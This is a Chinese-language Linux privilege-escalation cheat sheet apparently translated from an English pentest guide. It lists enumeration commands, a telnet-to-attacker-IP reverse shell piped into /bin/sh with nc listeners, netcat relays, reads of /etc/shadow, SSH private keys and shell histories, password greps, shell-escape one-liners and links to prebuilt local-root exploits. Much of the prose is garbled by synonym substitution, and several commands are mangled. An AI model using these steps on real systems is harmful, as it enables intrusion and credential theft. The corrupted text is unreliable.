在本文开端之前,我想指出我不是专家。据我所知,在这个复杂年夜的区域,没有一个“奇异”的谜底.分享,共享(我的解缆点)。下面是一个同化的号令做一样的工作,在不合的处所,或只是一个不合的目光来对待事物。我知道有更多的“东西”往寻觅。这只是一个根基粗略的指南。其实不是每个号令,做好要重视细节.
文中的每行动一条号令,文中有的号令可能在你的主机上敲不出来,因为它多是在其他版本的linux中所利用的号令。
列举关头点
(Linux)的提权是如何一回事:
汇集 – 列举,列举和一些更多的列举。
过程 – 经由过程数据排序,阐发和肯定优先挨次。
搜刮 – 知道搜刮甚么和在哪里可以找到缝隙代码。
适应 – 自定义的缝隙,所以它合适。每个系统的工作其实不是每个缝隙“都固定不变”。
测验测验 – 做好预备,实验和弊端。
把持类型
把持类型是甚么版本?
1cat /etc/issue
2cat /etc/*-release
3cat /etc/lsb-release
4cat /etc/redhat-release
它的内核版本是甚么?
1cat /proc/version
2uname -a
3uname -mrs
4rpm -q kernel
5dmesg | grep Linux
6ls /boot | grep vmlinuz
它的环境变量里有些甚么?
1cat /etc/profile
2cat /etc/bashrc
3cat ~/.bash_profile
4cat ~/.bashrc
5cat ~/.bash_logout
6env
7set
是不是有台打印机?
1lpstat -a
利用与办事
正在运行甚么办事?甚么样的办事具有甚么用户权限?
1ps aux
2ps -ef
3top
4cat /etc/service
哪些办事具有root的权限?这些办事里你看起来那些有缝隙,进行再次查抄!
1ps aux | grep root
2ps -ef | grep root
安装了哪些利用法度?他们是甚么版本?哪些是当前正在运行的?
1ls -alh /usr/bin/
2ls -alh /sbin/
3dpkg -l
4rpm -qa
5ls -alh /var/cache/apt/archivesO
6ls -alh /var/cache/yum/
Service设置,有任何的弊端建设吗?是不是有任何(脆弱的)的插件?
01cat /etc/syslog.conf
02cat /etc/chttp.conf
03cat /etc/lighttpd.conf
04cat /etc/cups/cupsd.conf
05cat /etc/inetd.conf
06cat /etc/apache2/apache2.conf
07cat /etc/my.conf
08cat /etc/httpd/conf/httpd.conf
09cat /opt/lampp/etc/httpd.conf
10ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
主机上有哪些工作打算?
01crontab -l
02ls -alh /var/spool/cron
03ls -al /etc/ | grep cron
04ls -al /etc/cron*
05cat /etc/cron*
06cat /etc/at.allow
07cat /etc/at.deny
08cat /etc/cron.allow
09cat /etc/cron.deny
10cat /etc/crontab
11cat /etc/anacrontab
12cat /var/spool/cron/crontabs/root
主机上可能有哪些纯文本用户名和暗码?
1grep -i user [filename]
2grep -i pass [filename]
3grep -C 5 "password" [filename]
4find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
通信与收集
NIC(s),系统有哪些?它是连接到哪个收集?
1/sbin/ifconfig -a
2cat /etc/network/inte***ces
3cat /etc/sysconfig/network
收集建设设置是甚么?收集中有甚么样的办事器?DHCP办事器?DNS办事器?网关?
1cat /etc/resolv.conf
2cat /etc/sysconfig/network
3cat /etc/networks
4iptables -L
5hostname
6dnsdomainname
其他用户主机与系统的通信?
01lsof -i
02lsof -i :80
03grep 80 /etc/services
04netstat -antup
05netstat -antpx
06netstat -tulpn
07chkconfig --list
08chkconfig --list | grep 3:on
09last
10w
缓存?IP和/或MAC地址?
1arp -e
2route
3/sbin/route -nee
数据包可能嗅探吗?可以看出甚么?监听流量
1# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
2tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
你若何get一个shell?你若何与系统进行交互?
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
1nc -lvp 4444 # Attacker. 输进 (号令)
2nc -lvp 4445 # Attacker. 输出(成果)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # 在方针系统上. 利用 报复打击者的IP!
若何端口转发?(端口重定向)
# rinetd
1# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
# fpipe
1# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
2FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
#ssh
1# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
2ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port
3ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port
#mknod
1# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe
2mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay
3mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
4mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)
成立地道可能吗?本地,长途发送号令
1ssh -D 127.0.0.1:9050 -N [username]@[ip]
2proxychains ifconfig
奥秘信息和用户
你是谁?哪个id登录?谁已登录?还有谁在这里?谁可以做甚么呢?
1id
2who
3w
4last
5cat /etc/passwd | cut -d: # List of users
6grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
7awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
8cat /etc/sudoers
9sudo -l
可以找到甚么敏感文件?
1cat /etc/passwd
2cat /etc/group
3cat /etc/shadow
4ls -alh /var/mail/
甚么有趣的文件在home/directorie(S)里?假定有权限拜候
1ls -ahlR /root/
2ls -ahlR /home/
是不是有任何暗码,脚本,数据库,建设文件或日记文件?暗码默许路径和位置
1cat /var/apache2/config.inc
2cat /var/lib/mysql/mysql/user.MYD
3cat /root/anaconda-ks.cfg
用户做过甚么?是不是有任何暗码呢?他们有没有编纂甚么?
1cat ~/.bash_history
2cat ~/.nano_history
3cat ~/.atftp_history
4cat ~/.mysql_history
5cat ~/.php_history
可以找到甚么样的用户信息
1cat ~/.bashrc
2cat ~/.profile
3cat /var/mail/root
4cat /var/spool/mail/root
private-key 信息可否被发现?
01cat ~/.ssh/authorized_keys
02cat ~/.ssh/identity.pub
03cat ~/.ssh/identity
04cat ~/.ssh/id_rsa.pub
05cat ~/.ssh/id_rsa
06cat ~/.ssh/id_dsa.pub
07cat ~/.ssh/id_dsa
08cat /etc/ssh/ssh_config
09cat /etc/ssh/sshd_config
10cat /etc/ssh/ssh_host_dsa_key.pub
11cat /etc/ssh/ssh_host_dsa_key
12cat /etc/ssh/ssh_host_rsa_key.pub
13cat /etc/ssh/ssh_host_rsa_key
14cat /etc/ssh/ssh_host_key.pub
15cat /etc/ssh/ssh_host_key
文件系统
哪些用户可以写建设文件在/ etc /?可以或许从头建设办事?
1ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
1ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
1ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
1ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other
1find /etc/ -readable -type f 2>/dev/null # Anyone
2find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
在/ var /有甚么可以发现?
1ls -alh /var/log
2ls -alh /var/mail
3ls -alh /var/spool
4ls -alh /var/spool/lpd
5ls -alh /var/lib/pgsql
6ls -alh /var/lib/mysql
7cat /var/lib/dhcp3/dhclient.leases
网站上的任何隐躲建设/文件?建设文件与数据库信息?
1ls -alhR /var/www/
2ls -alhR /srv/www/htdocs/
3ls -alhR /usr/local/www/apache22/data/
4ls -alhR /opt/lampp/htdocs/
5ls -alhR /var/www/html/
有甚么在日记文件里?(甚么可以或许帮忙到“本地文件包含”?)
# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
01cat /etc/httpd/logs/access_log
02cat /etc/httpd/logs/access.log
03cat /etc/httpd/logs/error_log
04cat /etc/httpd/logs/error.log
05cat /var/log/apache2/access_log
06cat /var/log/apache2/access.log
07cat /var/log/apache2/error_log
08cat /var/log/apache2/error.log
09cat /var/log/apache/access_log
10cat /var/log/apache/access.log
11cat /var/log/auth.log
12cat /var/log/chttp.log
13cat /var/log/cups/error_log
14cat /var/log/dpkg.log
15cat /var/log/faillog
16cat /var/log/httpd/access_log
17cat /var/log/httpd/access.log
18cat /var/log/httpd/error_log
19cat /var/log/httpd/error.log
20cat /var/log/lastlog
21cat /var/log/lighttpd/access.log
22cat /var/log/lighttpd/error.log
23cat /var/log/lighttpd/lighttpd.access.log
24cat /var/log/lighttpd/lighttpd.error.log
25cat /var/log/messages
26cat /var/log/secure
27cat /var/log/syslog
28cat /var/log/wtmp
29cat /var/log/xferlog
30cat /var/log/yum.log
31cat /var/run/utmp
32cat /var/webmin/miniserv.log
33cat /var/www/logs/access_log
34cat /var/www/logs/access.log
1ls -alh /var/lib/dhcp3/
2ls -alh /var/log/postgresql/
3ls -alh /var/log/proftpd/
4ls -alh /var/log/samba/
5# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp(有甚么文件?log.系统指导......)
假定号令限制,你可以打出哪些冲破它的限制?
1python -c 'import pty;pty.spawn("/bin/bash")'
1echo os.system('/bin/bash')
1/bin/sh -i
若何安装文件系统?
1mount
2df -h
是不是有挂载的文件系统?
1cat /etc/fstab
甚么是高级Linux文件权限利用?Sticky bits, SUID 和GUID
1find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
2find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
3find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
4find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
5for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
6
7# findstarting at root (/), SGIDorSUID, not Symbolic links, only 3 folders deep, list with more detail and hideany errors (e.g. permission denied)
8
9find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null
在哪些目次可以写进和履行呢?几个“共同”的目次:/ tmp目次,/var / tmp目次/ dev /shm目次
1find / -writable -type d 2>/dev/null # world-writeable folders
2find / -perm -222 -type d 2>/dev/null # world-writeable folders
3find / -perm -o+w -type d 2>/dev/null # world-writeable folders
4find / -perm -o+x -type d 2>/dev/null # world-executable folders
5find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null # world-writeable & executable folders
6Any "problem" files?可写的的,“没有益用"的文件
7find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files
8find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files
预备和查找缝隙操纵代码
安装了甚么开辟东西/说话/撑持?
1find / -name perl*
2find / -name python*
3find / -name gcc*
4find / -name cc
若何上传文件?
1find / -name wget
2find / -name nc*
3find / -name netcat*
4find / -name tftp*
5find / -name ftp
查找exploit代码
http://www.exploit-db.com
http://1337day.com
http://www.securiteam.com
http://www.securityfocus.com
http://www.exploitsearch.net
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
http://www.谷歌.com
查找更多有关缝隙的信息
http://www.cvedetails.com
http://packetstormsecurity.org/files/cve/[CVE]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]]http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
http://www.vulnview.com/cve-details.php?cvename=[CVE]]http://www.vulnview.com/cve-details.php?cvename=[CVE]
http://www.91ri.org/
(快速)“共同的“exploit,预编译二进制代码文件
http://tarantula.by.ru/localroot/
http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/
上面的信息很难吗?
快往利用第三方脚本/东西来尝尝吧!
系统如何打内核,把持系统,所有益用法度,插件和Web办事的最新补丁?
1apt-get update && apt-get upgrade
2yum update
办事运行所需的最低的权限?
例如,你需要以root身份运行MySQL?
可以或许从以下网站找到主动运行的脚本?!
http://pentestmonkey.net/tools/unix-privesc-check/
http://labs.portcullis.co.uk/application/enum4linux/
http://bastille-linux.sourceforge.net
(快速)指南和链接
例如
http://www.0daysecurity.com/penetration-testing/enumeration.html
http://www.microloft.co.uk/hacking/hacking3.htm